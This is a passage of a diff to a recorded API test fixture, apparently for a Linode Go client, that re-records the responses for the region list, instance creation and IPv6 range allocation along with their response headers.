"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 14}' + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -94,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -115,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"5^`2f\u003c(Tf7Dlx0SPy2!;2,h5o9q39;vp8EWjTpVnOU53E\u003cX7a3.Cd!]C8/j`?U,Y","image":"linode/debian9","firewall_id":501399,"booted":false}' form: {} headers: Accept: @@ -136,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46938050, "label": "go-ins-test-range6", "group": "", "status": + body: '{"id": 59542181, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["176.58.98.241"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["212.71.248.74"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f40c61e9c78c410b8382b44300afc6d21def2244"}' + "47e396d1c743aa4bca264182b67d1813bdb133fb", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -157,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "711" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -178,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -187,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"linode_id":46938050,"prefix_length":64}' + body: '{"linode_id":59542181,"prefix_length":64}' form: {} headers: Accept: @@ -212,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "87" + - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -233,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -271,16 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "168" + - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -294,9 +489,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -316,7 +514,7 @@ interactions: method: GET response: body: '{"range": "1234::5678", "prefix": 64, "region": "eu-west", "is_bgp": - false, "linodes": [46938050]}' + false, "linodes": [59542181]}' headers: Access-Control-Allow-Credentials: - "true" @@ -329,16 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "109" + - "108" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -352,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -386,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -407,9 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write 